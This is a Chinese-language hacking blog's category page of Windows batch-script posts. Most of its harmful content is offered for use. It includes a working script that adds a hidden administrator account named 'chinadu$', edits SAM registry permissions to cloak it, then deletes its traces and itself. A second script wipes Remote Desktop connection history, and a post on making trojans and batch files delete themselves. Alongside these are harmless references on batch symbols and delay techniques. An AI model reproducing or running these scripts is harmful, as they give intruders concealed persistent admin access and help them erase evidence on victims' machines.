Chinadu's Blog » bat

隐藏用户的bat

Chinadu — Tue, 14 Dec 2010 08:48:31 +0000

一段隐藏用户的bat，注意脚本中的$不能去掉

net user chinadu$ 4shell.org /add

net localgroup administrators chinadu$ /add

Echo HKEY_LOCAL_MACHINE\SAM [1] >>c:/tem.ini

Echo HKEY_LOCAL_MACHINE\SAM\SAM [1] >>c:/tem.ini

Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1] >>c:/tem.ini

Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1] >>c:/tem.ini

Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1] >>c:/tem.ini

Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1] >>c:/tem.ini

regini c:/tem.ini

regedit /e c:\1.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users

net user chinadu$ /del

regedit /s c:\1.reg

Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [0] >c:/tem.ini

Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [0] >>c:/tem.ini

Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [0] >>c:/tem.ini

Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains [0] >>c:/tem.ini

Echo HKEY_LOCAL_MACHINE\SAM\SAM [0] >>c:/tem.ini

Echo HKEY_LOCAL_MACHINE\SAM\ [0] >>c:/tem.ini

regini c:/tem.ini

del c:\tem.ini

del c:\1.reg

del %0

批处理清除3389远程桌面连接记录

Chinadu — Thu, 25 Jun 2009 09:27:35 +0000

@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@del "%USERPROFILE%\My Documents\Default.rdp" /a
@exit

/va 删除项下面所有键值

/f不提示

/a 删除隐藏文件

保存为批处理。运行即可。

2008年10月24日 -- 批处理中Dos符号作用大全（二）
2008年10月24日 -- 批处理中Dos符号作用大全（一)
2008年10月24日 -- bat 延时执行命令的三种方法
2011年06月6日 -- BT5下用ncrack破解3389
2010年12月14日 -- 隐藏用户的bat
2009年11月20日 -- 超级淫荡且很危险的批处理
2009年09月28日 -- mstsc.exe的小插件,隐藏客户端计算机名
2009年06月25日 -- 开3389的VBS
2008年11月25日 -- 批处理修改IP，克机后改IP用，手动版，修改后即时起效
2008年10月29日 -- 3389新思路

批处理中Dos符号作用大全（二）

Chinadu — Fri, 24 Oct 2008 01:07:10 +0000

2、符号(>)
　　>的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围（后面可是文件也可是默认的系统控制台）例：
　　文件1.txt的文件内容为：
　　1+1
　　使用命令c:\>dir *.txt >1.txt
　　这时候1.txt的内容如下
　　驱动器 C 中的卷没有标签。
　　卷的序列号是 301A-1508
　　C:\ 的目录
　　2003-03-11 14:04 1,005 FRUNLOG.TXT
　　2003-04-04 16:38 18,598,494 log.txt
　　2003-04-04 17:02 5 1.txt
　　2003-03-12 11:43 0 aierrorlog.txt
　　2003-03-30 00:35 30,571 202.108.txt
　　5 个文件 18,630,070 字节
　　0 个目录 1,191,542,784 可用字节
　　>将命令执行的结果覆盖了原始的文件内容。
　　在传递给控制台的时候程序将不会有任何回显（注意：这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显，这里的回显是程序执行中或后的回显）例：
　　C:\>dir *.txt >nul
　　程序将没有任何显示也不会产生任何痕迹。
　　3、符号(>>)
　　符号>>的作用与符号>相似，但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台（用法同上）例：
　　文件1.txt内同为：
　　1+1
　　使用命令c:\>dir *.txt >>1.txt
　　这时候1.txt的内容如下
　　1+1
　　驱动器 C 中的卷没有标签。
　　卷的序列号是 301A-1508
　　C:\ 的目录
　　2003-03-11 14:04 1,005 FRUNLOG.TXT
　　2003-04-04 16:38 18,598,494 log.txt
　　2003-04-04 17:02 5 1.txt
　　2003-03-12 11:43 0 aierrorlog.txt
　　2003-03-30 00:35 30,571 202.108.txt
　　5 个文件 18,630,070 字节
　　0 个目录 1,191,542,784 可用字节
　　>>将命令执行的结果覆加在了原始的文件内容后面。
　　8、符号(" ")
　　" "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:
　　c:\>cd “Program Files”
　　c:\>cd progra~1
　　c:\>cd pro*
　　以上方法都可以进入Program Files目录
　　9、符号（,）
　　,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例：
　　c:\>dir,c:\
　　10、符号(;)
　　;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例：
　　DIR C:\;D:\;E:\F:\
　　以上的命令相当于
　　DIR C:\
　　DIR D:\
　　DIR E:\
　　DIR F:\

2009年06月25日 -- 批处理清除3389远程桌面连接记录
2008年10月24日 -- 批处理中Dos符号作用大全（一)
2008年10月24日 -- bat 延时执行命令的三种方法
2010年12月14日 -- 隐藏用户的bat
2009年11月20日 -- 超级淫荡且很危险的批处理
2008年11月25日 -- 批处理修改IP，克机后改IP用，手动版，修改后即时起效
2008年10月15日 -- EXE及BAT自删除

批处理中Dos符号作用大全（一)

Chinadu — Fri, 24 Oct 2008 01:05:04 +0000

@
　　\\隐藏命令的回显。
　　~
　　\\在for中表示使用增强的变量扩展；
　　在set中表示使用扩展环境变量指定位置的字符串；
　　在set/a中表示按位取反。
　　%
　　\\使用两个%包含一个字符串表示引用环境变量。比如一个%time%可以扩展到当前的系统时间;
　　单个%紧跟0-9的一个数字表示引用命令行参数；
　　用于for中表示引用循环变量；
　　连续的两个%表示执行时脱为一个%。
　　^
　　\\取消转义字符，即将所有转义字符的转义作用关闭。比如要在屏幕显示一些特殊的字符,比如> >> | ^等时,就可以在其前面加一个^符号来显示这个^后面的字符了,^^就是显示一个^,^|就是显示一个|字符了;
　　在set/a中是按位异；
　　在findstr/r的[]中表示不匹配指定的字符集。
　　&
　　\\命令连接字符。比如我要在一行文本上同时执行两个命令,就可以用&命令连接这两个命令；
　　在set/a中是按位与。
　　*
　　\\代表任意个任意字符,就是我们通常所说的"通配符";比如想在c盘的根目录查找c盘根目录里所有的文本文件(.txt),那么就可以输入命令"dir c:\*.txt"；
　　在set/a中是乘法。比如"set/a x=4*2",得到的结果是8；
　　在findstr/r中表示将前一个字符多次匹配。
　　()
　　\\命令包含或者是具有优先权的界定符吧,比如for命令要用到这个(),我们还可以在if,echo等命令中见到它的身影；
　　-
　　\\范围表示符,比如日期的查找,for命令里的tokens操作中就可以用到这个字符；
　　在findstr/r中连接两个字符表示匹配范围；
　　-跟在某些命令的/后表示取反向的开关。
　　+
　　\\主要是在copy命令里面会用到它,表示将很多个文件合并为一个文件,就要用到这个+字符了；
　　在set/a中是加法。
　　|
　　\\管道符。就是将上一个命令的输出,作为下一个命令的输入."dir /a/b | more"就可以逐屏的显示dir命令所输出的信息;
　　在set/a中是按位或；
　　在帮助文档中表示其前后两个开关、选项或参数是二选一的。
　　:
　　\\标签定位符,可以接受goto命令所指向的标签。比如在批处理文件里面定义了一个":begin"标签,用"goto begin"命令就可以转到":begin"变迁后面来执行批处理命令了。
　　" "
　　\\界定符,在表示带有空格的路径时常要用""来将路径括起来,在一些命令里面也需要" "符号；
　　在for/f中将表示它们包含的内容当作字符串分析；
　　在for/f "usebackq"表示它们包含的内容当作文件路径并分析其文件的内容；
　　在其它情况下表示其中的内容是一个完整的字符串，其中的>、>>、<、&、|、空格等不再转义。
　　/
　　\\表示其后的字符（串）是命令的功能开关（选项）。比如"dir /s/b/a-d"表示"dir"命令指定的不同的参数；
　　在set/a中表示除法。
　　>
　　\\命令重定向符,将其前面的命令的输出结果重新定向到其后面的设备中去，后面的设备中的内容被覆盖。比如可以用"dir > lxmxn.txt"将"dir"命令的结果输出到"lxmxn.txt"这个文本文件中去；
　　在findstr/r中表示匹配单词的右边界，需要配合转义字符\使用。
　　>>
　　\\命令重定向符。将其前面的命令的输出结果重新定向到其后面的设备中去，后面设备中的内容没有被覆盖。
　　<
　　\\将其后面的文件的内容作为其前面命令的输入。
　　在findstr/r中表示匹配单词的左边界，需要配合转义字符\使用。
　　=
　　\\赋值符号,用于变量的赋值。比如"set a=windows"的意思意思是将"windows"这个字符串赋给变量"a"；
　　在set/a中表示算术运算,比如"set /a x=5-6*5"。
　　\
　　\\这个"\"符号在有的情况下,代表的是当前路径的根目录.比如当前目录在c:\windows\system32下,那么你"dir \"的话,就相当与"dir c:\"
　　在findstr/r中表示正则转义字符。
　　''
　　在for/f中表示将它们包含的内容当作命令行执行并分析其输出；
　　在for/f "usebackq"中表示将它们包含的字符串当作字符串分析。
　　.
　　\\
　　在路径的\后紧跟或者单独出现时：
　　一个.表示当前目录；
　　两个.表示上一级目录；
　　在路径中的文件名中出现时：
　　最后的一个.表示主文件名与扩展文件名的分隔。
　　&&
　　\\连接两个命令,当&&前的命令成功时,才执行&&后的命令；
　　||
　　\\连接两个命令,当||前的命令失败时,才执行||后的命令。
　　$
　　\\在findstr命令里面表示一行的结束。
　　``
　　在for/f中表示它们所包含的内容当作命令行执行并分析它的输出。
　　[]
　　在帮助文档表示其中的开关、选项或参数是可选的；
　　在findstr/r中表示按其中指定的字符集匹配。
　　?
　　\\在findstr/r中表示在此位置匹配一个任意字符；
　　?在路径中表示在此位置通配任意一个字符；
　　紧跟在/后表示获取命令的帮助文档。
　　!
　　\\当启用变量延迟时,使用!!将变量名扩起来表示对变量值的引用；
　　在set /a中表示逻辑非。比如set /a a=!0,这时a就表示逻辑1。

2009年06月25日 -- 批处理清除3389远程桌面连接记录
2008年10月24日 -- 批处理中Dos符号作用大全（二）
2008年10月24日 -- bat 延时执行命令的三种方法
2010年12月14日 -- 隐藏用户的bat
2009年11月20日 -- 超级淫荡且很危险的批处理
2008年11月25日 -- 批处理修改IP，克机后改IP用，手动版，修改后即时起效
2008年10月15日 -- EXE及BAT自删除

bat 延时执行命令的三种方法

Chinadu — Fri, 24 Oct 2008 01:01:03 +0000

第一种方法：
　　ping 127.0.0.1 -n 5000>nul
　　dir c:\ >c:\1.txt
　　延时5分钟后执行dir c:\
　　第二种方法
　　:: Sleep.bat - Sleep/Delay/Wait n seconds
　　:: Herbert Kleebauer(Germany) - 2005/05/29
　　:: Modified by Will Sort - 2005/06/02
　　@echo off
　　echo q | debug>nul
　　echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=>sleep.com
　　echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU WwX0GwUY Wv;ovBX2Gv0ExGIuht6>>sleep.com
　　echo T}{z~~@GwkBG@OEKcUt`~}@MqqBsy?seHB~_Phxr?@zAB`LrPEyoDt@Cj?>>sleep.com
　　echo pky_jN@QEKpEt@ij?jySjN@REKpEt@jj?jyGjN@SEKkjtlGuNw?p@pjirz>>sleep.com
　　echo LFvAURQ?OYLTQ@@?~QCoOL~RDU@?aU?@{QOq?@}IKuNWpe~FpeQFwH?Vkk>>sleep.com
　　echo _GSqoCvH{OjeOSeIQRmA@KnEFB?p??mcjNne~B?M??QhetLBgBPHexh@e=>>sleep.com
　　echo EsOgwTLbLK?sFU`?LDOD@@K@xO?SUudA?_FKJ@N?KD@?UA??O}HCQOQ??R>>sleep.com
　　echo _OQOL?CLA?CEU?_FU?UAQ?UBD?LOC?ORO?UOL?UOD?OOI?UgL?LOR@YUO?>>sleep.com
　　echo dsmSQswDOR[BQAQ?LUA?_L_oUNUScLOOuLOODUO?UOE@OwH?UOQ?DJTSDM>>sleep.com
　　echo QTqrK@kcmSULkPcLOOuLOOFUO?hwDTqOsTdbnTQrrDsdFTlnBTm`lThKcT>>sleep.com
　　echo @dmTkRQSoddTT~?K?OCOQp?o??Gds?wOw?PGAtaCHQvNntQv_w?A?it\EH>>sleep.com
　　echo {zpQpKGk?Jbs?FqokOH{T?jPvP@IQBDFAN?OHROL?Kj??pd~aN?OHROd?G>>sleep.com
　　echo Q??PGT~B??OC~?ipO?T?~U?p~cUo0x>>sleep.com
　　sleep.com>sleep.exe
　　del sleep.com
　　echo wait 2 seconds:
　　sleep.exe 2000
　　第三种方法
　　dir c:\ & timeout /t 10 & dir d:\
　　延时10秒

2009年06月25日 -- 批处理清除3389远程桌面连接记录
2008年10月24日 -- 批处理中Dos符号作用大全（二）
2008年10月24日 -- 批处理中Dos符号作用大全（一)
2010年12月14日 -- 隐藏用户的bat
2009年11月20日 -- 超级淫荡且很危险的批处理
2008年11月25日 -- 批处理修改IP，克机后改IP用，手动版，修改后即时起效
2008年10月15日 -- EXE及BAT自删除

EXE及BAT自删除

Chinadu — Wed, 15 Oct 2008 06:37:57 +0000

del %0 以及一些调用cmd的删除方法是错误的

原因在于exe 或者 bat在运行的时候自身的进程仍然存在

所以我们就会看见好些木马病毒残留的exe 以及 bat

下面给出绝对可以自删除的程序！

start del /f /q fuckjapanpig.exe

很简单也是调用了cmd ，把它加在最后一行就行了！此时程序已经运行完，不存在进程了！

Chinadu's Blog » bat

隐藏用户的bat

相关文章

批处理清除3389远程桌面连接记录

相关文章

批处理中Dos符号作用大全（二）

相关文章

批处理中Dos符号作用大全（一)

相关文章

bat 延时执行命令的三种方法

相关文章

EXE及BAT自删除

相关文章